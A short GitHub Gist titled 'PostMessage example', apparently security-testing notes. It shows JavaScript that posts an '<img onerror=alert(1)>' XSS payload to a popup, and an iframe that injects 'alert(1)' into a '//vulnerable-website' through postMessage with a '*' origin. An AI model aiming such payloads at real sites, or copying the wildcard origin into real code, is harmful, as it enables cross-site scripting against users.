Skip to content

Instantly share code, notes, and snippets.

@leveled
Created January 22, 2021 16:55
Show Gist options
  • Save leveled/bee6741e99e67c84cd7b230c5c9a8eb2 to your computer and use it in GitHub Desktop.
Save leveled/bee6741e99e67c84cd7b230c5c9a8eb2 to your computer and use it in GitHub Desktop.
PostMessage example
function openChild() {child = window.open('/', 'popup', 'height=300px, width=500px');}
function sendMessage(input, child){
let msg=input;
// In production, DO NOT use '*', use toe target domain
child.postMessage(msg,'*')// child is the targetWindow
child.focus();
}
openChild()
sendMessage("<img src=x onerror=alert(1)>",child);
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('alert(1)','*')">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment